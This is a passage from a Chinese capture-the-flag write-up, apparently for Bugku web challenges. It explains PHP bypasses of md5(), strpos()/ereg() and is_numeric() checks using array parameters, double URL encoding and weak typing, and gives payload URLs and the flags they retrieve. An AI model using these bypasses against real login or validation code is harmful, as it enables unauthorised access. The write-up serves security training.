制码为0x108 %108进行一次url编码%2568
http://123.206.87.240:9009/10.php?id=%2568ackerDJ
get flag:
Access granted! flag{bugku__daimasj-1t2}
第四题:md5()函数
知识简介
MD5()函数语法:
md5 — 计算字符串的 MD5 散列值 string md5( string $str[, bool $raw_output = false] ) 参数 str 原始字符串。 raw_output 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 返回值 以 32 字符十六进制数字形式返回散列值。
题目信息
Topic Link:http://123.206.87.240:9009/18.php
<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else
print 'Invalid password'; } ?>
利用MD5函数不能处理数组进行构造payload
代码审计需要满足两个条件:1. username和password的值不能相同
2. username和password的MD5值相同
构造payload:
http://123.206.87.240:9009/18.php?username[]=999&password[]=666
get flag:
Flag: flag{bugk1u-ad8-3dsa-2}
第五题:数组返回NULL绕过
知识简介
ereg()函数语法:
int ereg ( string $pattern , string $string [, array &$regs ] ) 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。 如果在 string 中找到 pattern 模式的匹配则返回所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。
strpos()函数语法:
strpos — 查找字符串首次出现的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出现的数字位置。 参数 haystack 在该字符串中进行查找。 needle 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。 offset 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。 返回值 返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。 如果没找到 needle,将返回 FALSE。
题目信息
Topic Link:http://123.206.87.240:9009/19.php
<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else
echo 'Invalid password'; } ?>
利用strpos()函数不能处理数组的漏洞构造payload
代码审计需要满足两个条件:1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) == 》 FALSE
2. if (strpos ($_GET['password'], '--') !== FALSE) == 》 TRUE
构造payload:
http://123.206.87.240:9009/19.php?password[]=
get flag:
Flag: flag{ctf-bugku-ad-2131212}
第六题:弱类型整数大小比较绕过
知识简介
is_numeric()函数语法:
is_numeric — 检测变量是否为数字或数字字符串 bool is_numeric( mixed $var) 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。
题目信息
Topic Link:http://123.206.87.240:9009/22.php
$temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;
利用php弱类型漏洞构造payload
代码审计需要满足两个条件:1. is_numeric($temp) ==》 FALSE
2. if($temp>1336) ==》 TRUE
构造payload:
http://123.206.87.240:9009/22.php?password=99999asd
get flag:
第七题:sha()函数比较绕过
知识简介
sha1()函数语法:
(PHP 4 >= 4.3.0, PHP 5, PHP 7) sha1 — 计算字符串的 sha1 散列值 string sha1( string $str[, bool $raw_output = false] ) 参数 str 输入字符串。 raw_output 如果可选的 raw_output 参数被设置为 TRUE,那么 sha1 摘要将以 20 字符长度的原始格式返回,否则返回值是一个 40 字符长度的十六进制数字。 返回值 返回 sha1 散列值